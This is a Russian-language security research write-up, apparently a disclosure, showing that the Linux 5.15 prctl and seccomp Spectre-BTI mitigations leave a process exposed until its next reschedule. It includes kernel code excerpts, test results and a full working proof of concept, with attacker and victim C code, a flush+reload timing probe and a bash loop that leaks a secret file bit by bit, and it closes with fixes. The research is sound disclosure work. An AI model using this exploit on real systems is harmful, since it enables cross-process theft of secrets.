
Технический анализ и доказательство концепции, демонстрирующие обход пользовательских средств защиты от Spectre-BTI ядра Linux через prctl и seccomp, с объяснением на уровне кода и результатами тестирования.
Жозе Оливейра (esoj)
Родриго Бранку (BSDaemon)
Тестируя уровень успешности атак Spectre-BTI, мы обнаружили странную закономерность при использовании API ядра в качестве смягчения1. Наши тесты показали, что ядро Linux неправильно смягчает атаку, оставляя процесс уязвимым на короткий промежуток времени после системного вызова.
Дальнейшее исследование показало, что ядро не выдает IBPB немедленно во время системного вызова. Функция ib_prctl_set2 обновляет флаги информации о потоке (TIF) для задачи и обновляет MSR SPEC_CTRL в функции __speculation_ctrl_update 3, но IBPB выдается только при следующем планировании, когда проверяются биты TIF. Это оставляет жертву уязвимой к значениям, уже внедрённым в BTB до системного вызова prctl. Поведение исправляется только после перепланирования задачи. Более того, вход в ядро (из-за самого системного вызова) не выдает IBPB в стандартных сценариях (т.е. когда ядро защищает себя с помощью retpoline или eIBRS).
Выполнение prctl для смягчения атак Spectre-BTI с помощью:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
приводит к вызову функции ib_prctl_set2 в ядре 5.15. Когда используется опция SPEC_DISABLE, устанавливается бит TIF для task_set_spec_ib_disable и вызывается task_update_spec_tif:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable вызывает set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);, и если целевая задача является текущей, она вызывает speculation_ctrl_update_current();
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
speculation_ctrl_update_current после оболочки speculation_ctrl_update выполняет __speculation_ctrl_update с tifp = ~tifp, здесь выполняется обновление wrmsr для установки STIBP, но IBPB не выдается:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
Системный вызов seccomp также использует ib_prctl_set2 в качестве смягчения внутри arch_seccomp_spec_mitigate4, поэтому с seccomp ожидается тот же результат.
Хотя с помощью анализа кода мы уверены, что окно для эксплуатации существует, было неясно, достаточно ли оно велико, чтобы жертва загрузила секреты, а злоумышленник их извлёк (поскольку ожидается, что секреты не находятся в адресном пространстве жертвы до вызова prctl). Тесты выполнялись на физической машине с поддержкой аппаратных смягчений, с установленной Ubuntu 22.04.1 LTS:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
Тестовый код состоит из двух процессов, выполняющихся на одном логическом ядре. Злоумышленник постоянно отравляет BTB адресом спекулятивного гаджета, присутствующего в процессе жертвы. Жертва измеряет частоту неправильных предсказаний, проверяя, была ли тестовая переменная доступна функцией спекулятивного гаджета. Обычно это возвращает следующий вывод:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
Затем для смягчения атаки используется PRCTL. Смягчение можно включить, добавив prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); в начало программы. Ожидается, что это смягчит атаку Spectre-BTI:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
Однако некоторые тесты показали другой результат:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
А изменение приоритета (nice), похоже, влияет на частоту неправильных предсказаний:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
Это указывает на то, что prctl защищает процесс только после следующего планирования, как и было понято из анализа кода. Ещё одно странное поведение этого теста состоит в том, что после неправильного ветвления путь спекуляции должен быть исправлен, и истинное значение должно быть записано в BTB. Поскольку на родственном потоке нет других злоумышленников, чтобы повторно отравить BTB, такие высокие значения неправильных предсказаний неожиданны.
Чтобы убедиться, что это не ошибка измерения, мы создали простой POC. Код жертвы всегда выполняет safe_function через указатель на функцию, который уязвим для атаки Spectre-BTI. Жертва запрашивает у ядра защиту с помощью системного вызова prctl (внутри protect_me). Жертва также загружает секрет из текстового файла, показывая, что другие системные вызовы также не проверяют бит TIF и не вызывают перепланирование, которое принудительно вызвало бы IBPB.
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}
Большинство функций libc были помещены в общий заголовок между атакующим и жертвой, чтобы spectre_gadget и функция spec имели одинаковые адреса памяти как у жертвы, так и у атакующего (в противном случае создаётся запись .GOT и адреса изменяются). Это не является обязательным требованием, существуют другие способы разместить ветвления по тем же адресам и имитировать контекст жертвы, но этот метод проще.
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}
// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// ensure page is on memory
volatile char d = res[2100];
return res;
}
// load secret from file
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //not needed but resets the available time on scheduler
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}
// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}
Атака заключается в отравлении BTB путём вызова функции spec и принуждении её к переходу на spectre_gadget вместо safe_function. После обучения создаётся процесс жертвы, который выполняет spec, неправильно предсказывая переход на spectre_gadget, который никогда не должен выполняться. Секрет извлекается через классический побочный канал flush+reload.
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a"(time)
: "c"(adrs)
: "%esi", "%edx");
return time;
}
int main(int argc, char *argv[])
{
//Make spec function confuse safe_function with spectre_gadget
codePtr = spectre_gadget;
char dummy;
int hits = 0;
int tries = 0;
char *sharedmem = open_shared_mem();
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
//Inject the target in the BTB
spec(&dummy, &dummy, 0);
//Allow for victim to execute and misspredict to spectre_gadget
usleep(1);
//probe the 1-bit flush+reload side channel
if (probe((char *)&sharedmem[2000]) < 0x90)
{
printf("+");
}
}
}
Поскольку жертва получает аргумент, который можно использовать для выбора бита, извлекаемого через побочный канал, мы можем запустить процесс жертвы несколько раз, пока выполняется атакующий:
taskset -c 0 ./attacker >> result.txt &
for i in {0..144}
do
echo "Leaking bit $i... "
echo -e -n "Leaking bit $i: " >> result.txt
sleep .01
for j in {0..10}
do
taskset -c 0 ./victim $i >/dev/null
done
echo "" >> result.txt
done
python3 parseResult.py
make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)
Это оставляет следующий текстовый файл:
Leaking bit 0: +++++++++++
Leaking bit 1:
Leaking bit 2:
Leaking bit 3:
Leaking bit 4:
Leaking bit 5:
Leaking bit 6: ++++++++++
Leaking bit 7:
Leaking bit 8: ++++++++
[...]
Обратите внимание, что биты 0 и 6 равны 1, следовательно, первый символ должен быть 0x41('A').
Разбор файла с помощью простого скрипта на Python показывает:
The secret leaked is: b'Asuper_secret_flag'
Что является точным содержимым файла secret.txt, используемого жертвой.
Замена вызова prctl на seccomp с помощью syscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0); после загрузки секрета не предотвращает атаку. Это ожидаемо, поскольку внутренне оба используют одну и ту же функцию ib_prctl_set для реализации смягчения.
Текущая реализация системного вызова prctl для контроля спекулятивного выполнения не защищает пользователя от атакующих, выполняющихся до применения смягчения. Смягчение seccomp также даёт сбой в этом сценарии.
Для пользовательских приложений достаточно usleep после вызова prctl, чтобы принудительно вызвать перепланирование и обеспечить правильное смягчение. Один из возможных патчей ядра для этой атаки — выдать IBPB в то же время, когда устанавливается STIBP, в __speculation_ctrl_update 3 или вызвать schedule().
“The Linux kernel user-space API guide: Speculation Control”. Ссылка: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩
"Linux Source code" Ссылка: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3
"Linux Source code" Ссылка: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2
"Linux Source code" Ссылка: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩